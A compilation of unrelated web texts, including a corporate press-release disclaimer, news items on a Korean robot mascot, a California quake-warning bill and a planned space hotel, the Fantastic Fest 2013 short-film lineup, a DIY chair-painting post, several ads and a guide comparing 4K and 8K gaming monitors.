This news release contains certain forward-looking statements. These forward-looking statements are related to, but not limited to, FTG's operations, anticipated financial performance, business prospects and strategies. Forward-looking information typically contains words such as "anticipate", "believe", "expect", "plan" or similar words suggesting future outcomes. Such statements are based on the current expectations of management of the Corporation and inherently involve numerous risks and uncertainties, known and unknown, including economic factors and the Corporation's industry, generally. The preceding list is not exhaustive of all possible factors. Such forward-looking statements are not guarantees of future performance and actual events and results could differ materially from those expressed or implied by forward-looking statements made by the Corporation.
The reader is cautioned to consider these and other factors carefully when making decisions with respect to the Corporation and not place undue reliance on forward-looking statements. Other than as may be required by law, FTG disclaims any intention or obligation to update or revise any such forward-looking statements, whether as a result of new information, future events or otherwise.
Firan Technology Group Corporation
Bradley C. Bourne
President and CEO
(416) 299-4000 x 314
Firan Technology Group Corporation
Joseph R. Ricci
Vice President and CFO
(416) 299-4000 x 309


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Japan and South Korea are at odds over the Liancourt Rocks. In Japanese, they are called "Takeshima", while in Korean they are known as "Dokdo". Tensions between the two countries have now reached the point where giant robots are involved.
Enter Robot Taekwon V. According to reports, the jumbo Korean bot is now doing for PR for the Liancourt Rocks issue. Okay, so what's the big deal? The big deal is that Robot Taekwon V, which debuted in 1976 and was the first Korean robot anime, was heavily inspired by a Japanese giant robot. That's the big deal!
In Japan, anime and manga fans have called the Korean bot a Mazinger Z "rip-off" for decades. When Taekwon V debuted, its creator openly acknowledged the Mazinger Z influence. These days, that influence is more of a touchy issue. If you are interested, website KakureGaijin goes in to greater detail about the two bots—and the tensions between both countries over them.
You can see a comparison between both Robot Taekwon V and Mazinger Z (Robot Taekwon V has the "V" on its chest). These are not to scale because Korean made its robot much bigger.
Nonetheless, the notion that this Korean creation, which was based on a Japanese one, could actually be doing PR over a territorial issue between the two countries is...baffling.
If this report is true and if South Korea has roped in Robot Taekwon V to do PR for these rocks, there is only one way for the two countries to settle the dispute: Build working life-sized versions and make them fight.
韓国"パクリロボ"で領有権主張 [Tokyo Sports]
(Top photo: NATE)
Kotaku East is your slice of Asian internet culture, bringing you the latest talking points from Japan, Korea, China and beyond. Tune in every morning from 4am to 8am.


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Just a Girl Who Loves Fall Wine Tumbler, Coated with XTI-360™
Product Details
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This gorgeous Fall sublimation wine tumbler is double-insulated.
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Hand-wash Only!
Typically ships within 2 weeks, as tumblers are custom-made to order. For quicker sooner in-hand date, please contact us!
The shop is not responsible for drops or cracks from use.


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Bill would create California quake warning system
(AP)—California could join Japan, Mexico and other earthquake-prone countries that alert residents to the approach of powerful shaking under a bill awaiting approval from the governor.
The state Legislature advanced the bill that would create a quake warning system during Thursday's last hours of its session. Gov. Jerry Brown has until Oct. 13 to decide.
The U.S. lags behind other nations in developing a public alert system, which provides several seconds of warning after a fault ruptures—enough time for trains to brake, utilities to shut off gas lines or people to dive under a table until the shaking stops.
For the past several years, the U.S. Geological Survey and universities have tested a prototype that fires off messages to about two dozen groups in the state, mostly scientists and first responders.
The biggest challenge is finding steady funding to support and maintain a statewide network. The bill does not address where funding to create the alert system would come from, but it can't be built using general fund revenues. State emergency managers would have until 2016 to hash out the funding, estimated at $80 million for the first five years of operation.
Seismic early warning systems are designed to detect the first shock waves from a large jolt, calculate the strength and alert people before the slower but damaging waves spread.
The systems can't predict quakes and are most useful during big events where it would be meaningful to warn people far away to expect strong shaking, scientists said. If the San Andreas Fault suddenly broke, people living close to the epicenter won't receive any warning. But those living farther away would receive notice.
During the 2011 Japanese disaster, millions of people received 5 to 40 seconds of warning depending on how far they were from the epicenter. The notices were sent to cellphones and broadcast over airwaves.
"This is doable" in California, said USGS seismologist Doug Given, who heads the testing.
So far, scientists have spent about $15 million since 2002 developing the test system.
Before launching a quake alert system, scientists would need to upgrade old monitoring stations and add an extra 440 seismic sensors in vulnerable regions such as the northern tip of the San Andreas near San Francisco and the San Jacinto Fault in Southern California.
Sen. Alex Padilla, the bill's sponsor, said the warning system could be developed using federal grants, partnerships with the private sector or surcharges levied by the state.
Brown spokesman Jim Evans declined to say whether the governor would support the bill.
© 2013 The Associated Press. All rights reserved.


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Duct Cleaning: The Process and Procedure
2/25/2022 (Permalink)
The ventilation system is often the biggest culprit in poor indoor air quality, but you can help change that! Inspecting the duct work in your home or facility should be a high priority. In most cases, the HVAC has been operating for some time without much attention. Dirty ducts can circulate odors, contaminants such as mold, and irritating dust throughout your building or home.
A routine part of our professional service is inspecting the heating, ventilation, and air conditioning unit (HVAC). Keeping the HVAC and ductwork clean can potentially extend the life-span of the equipment by allowing it to operate at peak condition, which may help you save money. Duct cleaning may not always be necessary. SERVPRO of Kaufman County / Cedar Creek professionals will inspect your HVAC system and duct work and make recommendations about the best way to address any indoor air quality concerns. This inspection can help save you money and provide peace of mind of the health of your HVAC system and ductwork.
In some circumstances, such as after a fire, smoke, or suspected mold growth, duct cleaning becomes an essential part of the cleanup process. in these cases, SERVPRO of Kaufman County / Cedar Creek professionals can often restore the HVAC system and ductwork to pre-damage condition.
If you have a fuel-burning furnace, stove, or fireplace, the U.S Environmental Protection Agency (EPA) recommends they be inspected for proper functioning and be serviced before each heating season to protect against carbon monoxide poisoning.
The SERVPRO Duct Cleaning System is proven to be cost-efficient. Unlike the majority of duct cleaning services, SERVPRO of Kaufman County / Cedar Creek professionals use a portable ventilation and air duct cleaning system to examine ductwork and make a clean sweep, removing years of dust and grime.
- The process begins by using patented equipment, including a roto-scraper, which automatically adapts to the duct's shape and diameter while traveling through the duct, removing debris and filth before vacuuming begins.
- Next, a powerful push-pull air delivery and collection system transfers the debris from the ducting to a 16-gallon container.
- Air is filtered through a HEPA filtration system, removing 99.97 percent of the particles in the airstream. HEPA filters capture debris and keep the indoor environment clean.
- As an optional process, a sealant or coating product may be sprayed to address odor or microbial concerns.
- Filters will either be cleaned or replaced to remove odor and dirt
For more information on duct cleaning or to schedule an appointment, contact SERVPRO of Kaufman County / Cedar Creek for a free estimate! (972) 329-4747


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BARCELONA (Reuters) -- "Galactic Suite", the first hotel planned in space, expects to open for business in 2012 and would allow guests to travel around the world in 80 minutes.
An artist's impression of the Galactic Suite, where guests would enjoy views of the Earth during their three-day stay
Its Barcelona-based architects say the space hotel will be the most expensive in the galaxy, costing $4 million for a three-day stay.
During that time guests would see the sun rise 15 times a day and use Velcro suits to crawl around their pod rooms by sticking themselves to the walls like Spiderman.
Company director Xavier Claramunt says the three-bedroom boutique hotel's joined-up pod structure, which makes it look like a model of molecules, was dictated by the fact that each pod room had to fit inside a rocket to be taken into space.
"It's the bathrooms in zero gravity that are the biggest challenge," says Claramunt. "How to accommodate the more intimate activities of the guests is not easy."
But they may have solved the issue of how to take a shower in weightlessness -- the guests will enter a spa room in which bubbles of water will float around.
When guests are not admiring the view from their portholes they will take part in scientific experiments on space travel.
Galactic Suite began as a hobby for former aerospace engineer Claramunt, until a space enthusiast decided to make the science fiction fantasy a reality by fronting most of the $3 billion needed to build the hotel.
An American company intent on colonizing Mars, which sees Galaxy Suite as a first step, has since come on board, and private investors from Japan, the United States and the United Arab Emirates are in talks.
Plenty rich enough
If Claramunt is secretive about the identity of his generous backer, he is more forthcoming about the custom he can expect.
"We have calculated that there are 40,000 people in the world who could afford to stay at the hotel. Whether they will want to spend money on going into space, we just don't know."
Four million dollars might be a lot to spend on a holiday, but those in the nascent space tourism industry say hoteliers have been slow on the uptake because no one thought the cost of space travel would come down as quickly as it has.
Galactic Suite said the price included not only three nights in space. Guests also get eight weeks of intensive training at a James Bond-style space camp on a tropical island.
"There is fear associated with going into space," said Claramunt. "That's why the shuttle rocket will remain fixed to the space hotel for the duration of the guests' stay, so they know they can get home again."
In an era of concern over climate change, Galaxy Suite has no plans so far to offset the pollution implications of sending a rocket to carry just six guests at a time into space.
"But," says Claramunt, "I'm hopeful that the impact of seeing the earth from a distance will stimulate the guests' urge to value and protect our planet."
Would you stay in a space hotel? Is space tourism exciting or irresponsible? Share your views and read others' thoughts in the Just Imagine forum. E-mail to a friend
Copyright 2007 Reuters. All rights reserved.This material may not be published, broadcast, rewritten, or redistributed.


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I think I'm rubbing off on her because last year when she went {camping for Mother's Day}, she brought a pair of French armchairs home with her, not knowing where she would use them. They sat in her garage for 6 months, and one day I asked her if I could take them off her hands. She was a pal to sell them to me for exactly what she had paid for them, $7.50 each. I love nothing more than a pair of chairs that total $15.00 and are just begging for some love.
Have I mentioned I have a team of excellent friends? Well, G came over last week to help me start the re-birth of the French chairs, and she had the grandest idea. Why not paint the upholstery? She had helped Mia {paint a French chaise} last year that turned out beautifully. I was sad at myself for not thinking of it on my own, but G pulled through for me, like always. The upholstery was in perfect condition, and the workmanship was excellent. With nothing to lose, we got started.
{this tutorial}, waiting patiently between each coat for proper drying. I also used very fine sandpaper after each layer of paint dried to make it really smooth.
The chairs were painted a soft gray then lightly distressed and waxed for protection. I painted the cane a crisp white, inspired by this picture I have had saved forever. I love the contrast.
It was also G's idea to paint the cushions white and add a faded stripe or two to create a vintage grain sack look. I loved the idea, and as soon as the paint was dry, I taped off the stripes and got to it. (at midnight, sorry for the awful picture) I made sure to press the edges of the tape down really well so the paint didn't seep underneath. Also, I used the same "recipe" for the paint mixture when I mixed up the color for the stripes. The textile medium is a key component.
And here are my twins!
This project was so economical because the only thing I had to buy was some textile medium from Hobby Lobby. With a 40% off coupon, it was around $3.50. I don't know if the painted upholstery will last a lifetime, but it's certainly a great solution for the time being, and the price was perfect.


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It's that wonderful time of the year again! We're getting close to Fantastic Fest and keep getting more and more announcements for their programming. As usual, I'll be covering the shorts blocks and thanks to the new roster, it seems this year will be more difficult to pick out favorites. Going off the the plot synopsis, a few of the shorts I'm looking forward to are THE LAST VIDEO STORE, RETROCOGNITION, SAD HOUSE, and WITCH. Check out the full list after the break.
Austin, TX-Wednesday, September 4, 2013- Fantastic Fest is excited to announce the short film lineup for the ninth edition of Fantastic Fest, happening September 19th - 26th in Austin, Texas at Alamo Drafthouse Lakeline. Short films provide an outlet for filmmakers to showcase their genre talents in a format with fewer restraints, making them a Fantastic Fest favorite. Fantastic Fest is wildly excited that longtime festival comrade KIER-LA JANISSE is now our lead shorts programmer. Kier-la created the notorious CineMuerte Film Festival in Canada, and was the first full-time film programmer for the Alamo back in the "wild west" days. She has since gone on to countless careers including film producer, theater owner, documentary subject, film journalist, and author of House of Psychotic Women, which had its own FF film sidebar in 2012. Her shorts programs this year represent her visionary tastes and superhuman viewing abilities.
Please see below for the full Fantastic Fest 2013 shorts lineup:
ANGST, PISS & SHIT (Norway, 2012)
North American Premiere
Director - Fredrik S. Hana, 19 min
A hapless serial murderer laments the crumbling of his true love's affections. Not since Jorg Buttgereit's NEKROMANTIK have we seen such a sordid, uncompromising and blackly humorous tale of a killer romance gone south.
BASKIN (Turkey, 2013)
North American Premiere
Director - Can Evrenol, 11 min
A group of Turkish police called in to a desolate area stumble upon a squalid and blood-soaked den of satanic ritual. The latest from Fantastic Fest alumnus Can Evrenol (TO MY MOTHER AND FATHER) is a visceral trip into the darkest pits of a very palpable evil.
BEASTS IN THE REAL WORLD (Canada, 2013)
U.S. Premiere
Director - Sol Friedman, 8 min
Sol Friedman follows up his brilliant LOVE SONGS FROM AN ANDROID and A MESSAGE FROM YOUR ROBOT PRESIDENT with this iconoclastic blend of documentary, animation and action fantasy about an exasperated amphibious creature recalling the adventure that led him to a sushi restaurant chopping block.
North American Premiere
Director - Paul Davis, 18 min
A serial killer (Alfie Allen, GAME OF THRONES) discovers he can get away with anything on Halloween night, including dragging his latest victim around as a prop amidst a sea of oblivious London partiers.
BREAKFAST ON THE GRASS (Estoria, 2011)
Texas Premiere
Director - Erik Alunurm & Mari-Liis Rebane, 5 min
A hilarious claymation take on the making of a masterpiece, brought to us by students of acclaimed Estonian animator Priit Parn.
Texas Premiere
Director - Bill Plympton, 3 min
Animation vet and Fantastic Fest fave Bill Plympton's latest is a wily adaptation of Walt Curtis' 1973 poem 'The Time The Drunk Came To Town And Got Drunker Than A Skunk, Or So He Thought,' about a roving drunk who is brutally tormented by mean-spirited townsfolk.
EAT (Germany, 2012)
U.S. Premiere
Director - Moritz Kramer, 7 min
A fashion model fantasizes about indulging herself in a world where everything is edible.
EXQUISITE CORPSE (France, 2013)
North American Premiere
Director - Léa Mysius, 25 min
Director Léa Mysius turns a grim premise into an utterly adorable film debut with this story of an insolent tomboy living in the French countryside who finds an unlikely playmate in the dead body she drags out of the local swamp.
FLESH (Columbia, 2013)
North American Premiere
Director - Carlos Gomez Salamanca, 8 min
The faces and impressions surrounding an animal sacrifice in Columbia are brought to life in an animated reconstruction from actual video archive footage that counters the profane with the abstract.
GREEN EYED (Australia, 2012)
North American Premiere
Director - Nathaniel Lindsay, 16 min
Director - Nathaniel Lindsay, 16 min
An obnoxious up-and-coming executive can't understand why no one else can see that his professional and social rival is actually a reptilian monster.
THE GUEST (Canada, 2013)
U.S. Premiere
Director - Jovanka Vuckovic, 4 min
In this luscious new film from THE CAPTURED BIRD director Jovanka Vuckovic, a man suffers delusions after making a horrific bargain.
GUILT (Lithuania, 2013)
North American Premiere
Director - Reda Bartkute, 6 min
In this promising debut from Lithuanian animator Reda Bartkute, a nervous female fox retreats into the shifting landscape of her subconscious to face a shadowy doppelganger.
HERE BE MONSTERS (New Zealand, 2013)
Texas Premiere
Director - Paul Glub & Nic Gorman, 15 min
In the wake of a zombie apocalypse, an infected soldier is sent home to spend his last hours with his wife and estranged daughter. Amidst reconciliations and toasts, all are aware that time is running out fast. The assured directorial debut of visual FX producer Paul Glubb (THE HOBBIT; DON'T BE AFRAID OF THE DARK).
Austin Premiere
Director - Daniel Fickle, 7 mins
Bearing the fantastical shades of Joe Massot's WONDERWALL, Daniel Fickle's music video for Alialujah Choir's "A House, A Home" explores the secret lives of two adolescents who live in small, antiquated rooms connected by underground tunnels. Inspired by a heartbreaking true story.
Austin Premiere
Director - Antonio Padovan & Bryan Norton, 9 min
"Do pumpkins feel pain?" Helen Rogers of V/H/S and 24 EXPOSURES stars as a babysitter who learns the answer the hard way in this soon-to-be Halloween classic.
KICK-HEART (Japan, 2013)
Regional Premiere
Director - Masaaki Yuasa, 13 min
The latest from anime outlaw Masaaki Yuasa (MIND GAME) is a candy-colored story of secret obsession: professional wrestler Maskman M derives masochistic pleasure from being pummelled by his Amazonian opponent Lady S, who clearly reciprocates in savouring their violent public trysts. But do they have a chance in the real world?
THE LAST VIDEO STORE (Canada, 2013)
U.S. Premiere
Director - Cody Kennedy & Tim Rutherford, 10 min
The crew behind Edmonton's DEDFest and cult video store The Lobby bring you this histrionic tidal wave of VHS nostalgia, featuring robots, evil corporations, a killer theme song and guest-FX by Astron-6's Steve Kostanski.
LIVING STILL LIFE (France, 2012)
U.S. Premiere
Director - Bertrand Mandico, 15 min
Actress Elina Löwensohn (best known from Hal Hartley's SIMPLE MEN and AMATEUR) continues her collaboration with French director Bertrand Mandico (BORO IN THE BOX) as an isolated woman who brings dead things back to life in unusual ways.
MANIFOLD (Canada, 2013)
U.S. Premiere
Director - Anthony Scott Burns, 10 min
Canuck character vet Stephen McHattie stars as a country sheriff investigating what appears to be a mass suicide, while miles away a computer tech developing a complex facial recognition program stumbles upon his own connection to the bizarre mystery. The latest from filmmaker and visual FX whiz Anthony Scott Burns, MANIFOLD has already been optioned for development as a feature.
MEMORABLE ME (Canada, 2013)
Texas Premiere
Director - Jean-François Asselin, 15 min
In this savvy commentary on the narcissistic pull of social media platforms, a self-obsessed man is convinced that he will cease to exist unless someone is thinking about him at all times, causing him to stoop to the lowest levels of unethical and debasing behaviour to satiate his need for constant attention.
MISTERIO (Spain, 2013)
Texas Premiere
Director - Chema García Ibarra, 12 min
A deadpan black comedy from the director of Fantastic Fest favorite ATTACK OF THE ROBOTS OF NEBULA 5 about an alienated Spanish housewife who gets a secret message from The Virgin that will change her life forever.
World Premiere
Director - Ari Aster, 15 min
A clingy mother (Bonnie Bedelia of THE STRANGE VENGEANCE OF ROSALIE and DIE HARD) goes to extreme lengths to prevent her son from going off to college. The latest from the prolific director of the disturbing THE STRANGE THING ABOUT THE JOHNSONS.
Regional Premiere
Director - Adam Hall, 17 min
Based on the short story by T.C Boyle, Adam Hall's short film about the ostracization of a desperate man (Clark Middleton, SIN CITY; KILL BILL VOL. 2) following his professed obsession with a female neighbour explores the subjective toll of daily humiliation.
Texas Premiere
Director - Connor Hurley, 15 min
What if you could take a drug to change your orientation? In a future where only the genetically modified thrive, one man is faced with a horrible decision. One of the most poignant and disturbing bits of dystopian sci-fi we've seen this year.
NINJA ELIMINATOR III (Canada, 2013)
U.S. Premiere
Directors - François Simard, Anouk Whissell & Yoann-Karl Whissell, 4 min
The latest gonzo short from Canadian collective Roadkill Superstar, (whose TURBO KID feature is about to head into production) this mock-trailer delivers everything you could want in a long-lost Godfrey Ho flick, including the obligatory "Ninja" headbands and boobs that turn into cats.
PERFECT DRUG (Belguim, 2012)
Texas Premiere
Director - Toon Aerts, 14 min
After a bungled burglary, a gang of hoods sit in a parked car waiting to hand off their loot - a suitcase full of neon test tubes - to a merciless crime boss. But when one of them dives into the stash, psychedelic ultraviolent mayhem ensues. Pure body-swapping anarchy with ice cream and pickles.
Austin Premiere
Director - Jake Fried, 1 min
Jake Fried's mythologically charged hand-drawn animations made with white-out, gouache and coffee have won the attention of arthounds from PBS to Juxtapoz with their kinetically layered one-minute mania.
Austin Premiere
Director - Eric Patrick, 18 min
A brilliant and disturbing pastiche of melodramatic 1940s radio dramas, former Texan Eric Patrick's distorted domestic characters - with their cracked faces and murderous longings - offer an uncanny underside to the idyllic nuclear family.
THE SAD HOUSE (Mexico, 2013)
U.S. Premiere
Director - Sofia Catalina Carrillo Ramírez, 13 min
Fantastic Fest Alumna Sofia Carrillo (BLACK DOLL) returns with her most ambitious stop-motion film yet: the epic history of a family beset upon by war, illness and death, told with antiquated trinkets on a single dilapidated desktop.
Austin Premiere
Director - Clay Liford, 9 min
A 13-year-old boy (Arthur Dale of GROW UP TONY PHILLIPS, whose director Emily Hagins also makes a cameo here) writes erotic Harry Potter fan fiction, leading to an awkwardly hilarious confrontation at the local Comicon.
SLEEP CLINIC (New Zealand, 2013)
North American Premiere
Directors - Frances Haszard, Luke Scott & Louis Olsen, 7 min
This WTF animated short made for New Zealand's 48Hrs Furious Fimmaking Challenge spends six mind-melting minutes entrenched in the desperate delusions of an insomniac. The most essential psychiatric fantasy musical since ON A CLEAR DAY YOU CAN SEE FOREVER.
THE SLEEPING PLOT (New Zealand, 2013)
North American Premiere
Director - Dean Hewison, 5 min
A little girl thinks of mischievous ways to save up money for an object she desperately desires. Winner of New Zealand's 2013 48Hrs Furious Filmmaking competition.
SKOM (France, 2012)
U.S. Premiere
Director - Christophe Deroo, 8 min
In this Lovecraftian throwback to the pulpy pleasures of vintage horror comics, two kids stumble upon their school janitor's ghastly plan to get rid of his domineering mother.
World Premiere
Director - Jeff Brown, 9 min
A woman returns from vacation to find her roommate comatose and a pulsating organic substance in the bathroom wastebasket. A taut exercise in urban gothic dread.
SWEET RABBIT (Netherlands, 2012)
North American Premiere
Director - Camille Schouwenaar, 14 min
Based on the book by Dutch children's writer Imme Dros, a middle-aged housewife is seized by anxiety when she starts to grow rabbit ears and finds the community unsympathetic to her predicament.
THE VEHICLE (Canada, 2012)
Austin Premiere
Director - O. Corbin Saleken, 11 min
A woman is accosted by a man who claims to be carrying an important message for her from the future. A captivating character piece propelled by two quietly breathtaking performances.
WE, THE MASSES (Ireland, 2011)
Austin Premiere
Director - Eoghan Kidney, 13 min
In a snowy landscape after an unnamed cataclysmic event, a lost man looks for signs of civilization, falling in with an anarchic smattering of humanoids whose destructive impulses are at odds with his need for transcendence. Based on drawings by artist Robyn O'Neil, this fourth short from former member of Irish animation collective Delicious 9 Eoghan Kidney is a disquieting journey through the machinations of social trauma.
World Premiere
Director - Max Isaacson, 7 min
Convinced that the rats rampant in his home are trying to infest his body, a man slowly goes insane in a dank basement, surrounding himself with bloody trophies.
World Premiere
Directors - Americo Siller &Tyler Major, 7 min
In their directorial debut, Austin's own Tyler Mager and Americo Siller turn in a surreal and grotesque story of a couple in the middle of a public breakup who realize too late that they have their hearts on the line in more ways than one.
Texas Premiere
Director - Morgan Miller, 1 min
This woman really doesn't like plants.
YELLOW (Germany, United Kingdom, 2012)
Texas Premiere
Directors - Ryan Haysom & Jon Britt, 26 min
Haysom and Britt's ultra-stylized, synth-fueled neo-giallo blends the subjective impulses and misanthropy of Gerald Kargl's ANGST with the trappings of the Italian murder mystery: whispered threats, catholic retribution, cartographic obsession, black gloves, straight razors and the obligatory J&B Whiskey. A mood piece that never strays from its influences while simultaneously offering an unexpected twist on the genre.
YOU ARE HERE (Canada, 2012)
Texas Premiere
Director - Leslie Supnet, 3 min
Inspired by the work and tragic murder of animator Helen Hill, Leslie Supnet's YOU ARE HERE is a lovely ode to surviving connections beyond the grave.
ZIEGENORT (Poland, 2013)
Texas Premiere
Director - Tomasz Popakul, 19 min
A fishboy living in a coastal village resorts to shocking behavior when shunned by his peers. Making great use of manufactured chiaroscuro lighting and striking color flourishes, this award-winning short is a dramatic slice of teen angst at its most nightmarish.
Look for more film & event programming announcements for Fantastic Fest in the weeks ahead.
For the latest developments visit the Fantastic Fest official site www.fantasticfest.com and follow us on Facebook & Twitter.


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Download your free guide to buying property in Italy
The process of buying property in Italy is significantly different from here in the UK. This is why we've created our completely free Italy Buying Guide, to provide those dreaming of a new life in Italy with all of the practical, legal, and financial information needed to help them realise that dream.
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Having searched the Internet, I found a Buying Guide website with the detailed, helpful guide and subscribed to the free newsletters offered. It was amazingly easy using the tips and suggestions to define my requirements and to establish my strategy for what I really wanted from my emigration. Once I had made use of the network of friendly and helpful associates I was introduced to, everything fell into place. It meant that I had a plan to keep me on track, so I was not tempted by any seemingly attractive but potentially risky alternatives.Brian Dorey
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Our trusted team of experienced estate agents, tax and financial advisors, bilingual lawyers, and clued up expats, are on hand to help guide you through every step of your buying journey. This team includes our expert expat, Julia from Puglia, who shares her knowledge of buying and living in Italy to help you make a success of your move. Julia writes free articles and newsletters for our readers, which cover every aspect of buying in, moving to, and living in Italy.
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Holiday Homes and Villas suitable for disabled guests in Haute-Savoie
We have found 1 properties to book, based on your search for Holiday Homes and Villas suitable for disabled guests in Haute-Savoie, Rhone-Alps, France.
Chalet Le Cretet
Holiday Home in Samoens, Haute-Savoie, France
Chalet Le Cretet is a recently refurbished family friendly chalet. It has 6 spacious bedrooms, 2 Cloak rooms a Shower room with WC and a Bathroom. Stunning location on the South F...
£ 695.00 - £ 2,495.00 per week
Sleeps: 15Wheelchair Friendly Accessible
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Do you have plans this Saturday morning? How about joining fellow Louisville fans and alumni and walking/jogging/running 3.1 miles through the University of Louisville's beautiful campus? The Run For The "L" Of It begins at 8 a.m. and it starts at Papa John's Cardinal Stadium, goes down Floyd Street and around the campus, and ends at Jim Patterson Stadium.
There is still time to register, which you can do by clicking here. According to weather.com, tomorrow will be mostly sunny, high of 80 degrees, and 0% chance of rain. Could it be any better?
I will be there, as will Darrell Griffith, so there will be no shortage of celebrities. See you at PJCS!
Click here for the full website with more info. Tell them CSZ sent ya!


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Archive for the 'dogs' Category
foldable favorite: portable invisible fence
I was outside at a Utah Starbucks when a man arrived with his two chocolate labs. He left them unleashed near a table, and without a word, went inside to fetch his latte. The dogs watched him disappear, then sat politely to wait for his return. "That," I said to my friend, "is the difference between a lab and a dachshund." Ralston would lie down to wait. Ripley and Raven would cry, "Yay, she's gone! Let's play in traffic!" and I'd never see them again.
Thus the need for Invisible Fence at home and a new camping must-have: "The Rock" portable electronic fence system. It works like a charm and the concept is fiendishly simple.
Ralston's passing, as any pet owner can attest, was difficult and bittersweet. He will never be replaced, and I miss him every day. His demise was no reason to delay restoring the Four Rs to pack capacity, however. Ripley needed a companion—preferably a non-human that could understand the byzantine games he likes to play.
When people asked if I was ready for another dog so soon, I replied, "I may never be ready for another dog. But I'm ready for a miniature dachshund!"
Down, small dog lovers; just kidding.
Ralston crossed the bridge comfortably at home this week after a bout with cancer. He was nearly twelve; a little early in the life span for his breed, but well into his senior years.
Everybody loved Ralston, and he lived a life more robust, meaningful and exciting as many humans.
A crossbreed (Yellow Lab x Golden Retriever) born into the Guide Dogs for the Blind program, Ralston grew up going to work every day at U.S. Bank in the Big Pink tower, preparing for his future blind partner by learning office manners and getting accustomed to the sights and smells of downtown Portland.
foldable favorite: hot dog chills out
Ripley required only minor first aid after stepping on the cactus but Ralston, age ten, inconveniently fell ill with some kind of undiagnosable ailment the day we left and appeared to be at death's door during the entire first week of our trip. After consulting vets in three states he was eventually back to what passes for normal. We kept him hydrated and cool along the way with the help of this special mat and bandana.
Soak the mat in water to activate the "cooling crystals", then plop it down as a place to ride in the car or rest in the shade.
in search of sasquatch
Ask anyone. Bigfoot is alive and well and roams naked throughout the Pacific Northwest, scaring campers and microblogging on Twitter.
The woods by the Molalla River near Canby Oregon are purported to be home to a Sasquatch family, with sightings as recent as 2006. Formal campsite reservations along the water are unavailable, but we ventured forth anyway and had a tough time finding a place to spend the night; the best turnouts were filled with Harley people flying confederate flags, and the "river patrol"—two bored and aggressive volunteer seniors in a pickup—dogged us for miles, preventing us from choosing a site arbitrarily not to their liking.
toutle river
A beautiful autumn weekend in the Northwest, sunny and crisp. Camped at Seaquest State Park next to the Mount St. Helens visitor center and bushwacked down a steep brambley bank to the Toutle River to scout fishing locations. Ralph put his gear into action, but alas, no bites. Dogs enjoyed being wet, sandy and smelly.
Later, Ralph bravely figured out how to use the designated dump station facilities by filling the tank with water and sending it out through an intimidating hose and down a foul concrete hole. A successful rehearsal, but all agree that the goal is to never actually use the DWR bathroom for anything other than a storage area for the chairs and kitchen trash can.
meet the cast
'Streaming is published by Oregonian RG Coleman, who explores the 45th parallel and beyond in a crowded 16' Airstream with a tall mate and two wet dogs.


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As technology gets more advanced, the devices and monitors that we watch our favorite shows and play our favorite games on have also gotten better. In 2012, LG came out with the first 4K TV, jump-starting the next generation of pixel-generated entertainment for television and gaming monitors. 4K refers to the horizontal display resolution, which comes in at a whopping 4,000 pixels. Interestingly enough, many do not know that NHK simultaneously came out with the world's first 8K TV the same year.
The primary difference between 4K and 8K monitors is that 8K monitors have a higher resolution, quadruple the number of total pixels and double the number of horizontal pixels, coming in at approximately 8,000 pixels.
4K monitors have roughly 8.3 million pixels (3840 x 2160), creating a gaming experience so incredibly sharp and realistic you could easily get sucked into the screen. With that many pixels packed into the screen, most 4K gaming monitors will offer a ton of real estate, ranging from 25 to 45 inches across diagonally — much more than your standard gaming monitor.
For gaming mainly, 4K monitors are an outstanding choice for their intense colors and gorgeous visuals. For comparison, 1080p is considered "Full HD," while 4K graphics are considered "Ultra HD."
4K monitors are great for turning your gaming experiences into cinematic ones. When paired with a console like the Xbox One X or the PS5, 4K monitors can get all of the best aspects and visuals that AAA games have to offer. When it comes to PC gaming, 4K monitors can also be great additions to the setup, especially when the hardware is capable of handling their power.
Higher resolution means more details in even the largest of gaming landscapes. This can be the difference between who shoots first in many FPS games when resolution helps you make out enemies from afar and the added real estate that 4K monitors provide to increase your field of view.
Because of the rise in popularity of 4K monitors, prices are becoming much more financially feasible in comparison to 8K monitors.
The compatibility will be your number one concern when considering a 4K gaming monitor. If you are interested in playing AAA games in full, glorious 4K, you will need a graphics card that can handle the performance. It is recommended to invest in GPUs like the RTX 3090 or the AMD RX 690XT. Because of the requirements for the necessary hardware, it is essential to note that buying a 4K monitor is, in many cases, not just an investment in a monitor but a setup that can handle it.
Additionally, it is essential to be aware that just because the monitor is in 4K, that does not mean that all games can be played in 4K. All AAA games now have native support in 1080p, and many now can be played in 4K. However, with older games, the graphics may not be high enough quality to get the full advantage of a 4K monitor.
Some top choices for 4K gaming monitors include the BenQ 28-inch 4K gaming monitor, which offers smooth gameplay via AMD FreeSync at a relatively affordable price.
Another option is the Samsung Odyssey G5 32-inch gaming monitor, which provides a ton of real estate and a curved screen to match the curvature of your eye. The Odyssey also comes in three different sizes to match your specific gaming needs.
Asus and LG also are excellent choices of brands that produce high-quality 4K gaming monitors. The Asus 28-inch monitor and LG 27-inch Ultragear monitor are FreeSync and G-Sync integrated to create fluid and gorgeous visuals.
As previously mentioned, the primary difference between 4K and 8K monitors is their resolution. 8K monitors come in at 7680 x 4320 pixels and are often considered great picks for graphic designers, programmers or other creative or digital artists, due to their sheer size and power.
8K monitors are big and often offer far more real estate than even many 4K monitors. In many cases, some 8K monitors can get as big as 50 inches, with the average size being somewhere between 30 and 40 inches.
There are quite a few games that can handle the full capabilities of 8K resolution. Some of these titles include "Apex Legends," "Destiny 2" and "Valorant." Many websites like Nvidia provide useful infographics to help users find the optimal settings to get the most out of 8K monitors.
The central aspect to be aware of when looking at 8K gaming monitors is their price. Due to the specs on these monitors, many will be several times more expensive than traditional 1080p or even 4K monitors.
8K resolution is at the upper registers of image quality capable of being noticed by the human eye. As a result, the resolution is so crisp and clear that many graphics chips cannot even handle it yet.
Currently, one of the most suitable 8K monitors out there is the Dell UltraSharp 32-inch monitor. Also available in a 27 and 30-inch option, this monitor boasts brilliant 8K resolution with a six-millisecond response time.
Another top choice is the Samsung 49-inch Odyssey G9 gaming monitor. Though not exactly 8K, this 5K monitor provides the most pixels with the most real estate for the most immersion possible. With its curved design, you can bring any game to its visual best and with room to spare.
There is also the LG 49-inch UltraWide monitor for those looking to replace their multi-monitor setup all together with one sleek, beautiful behemoth. This monitor can get up to 5K resolution, perfect for doing everything from gaming to working to watching your favorite streaming shows.
Given resolution being the distinguishing factor, 4K monitors offer much more than the current 8K monitors on the market. 4K monitors have lots of real estate, show crisp and beautiful resolution and come at a fraction of the cost of 8K monitors.
Additionally, most game's native settings run at 1080p, with many offering 4K compatibility. Because 4K is becoming more popular and most AAA titles can handle such graphics, there will be far more games to choose from to get the full advantages that 4K has to offer. The same cannot be said for 8K or any higher resolutions due to the novelty of such monitors.
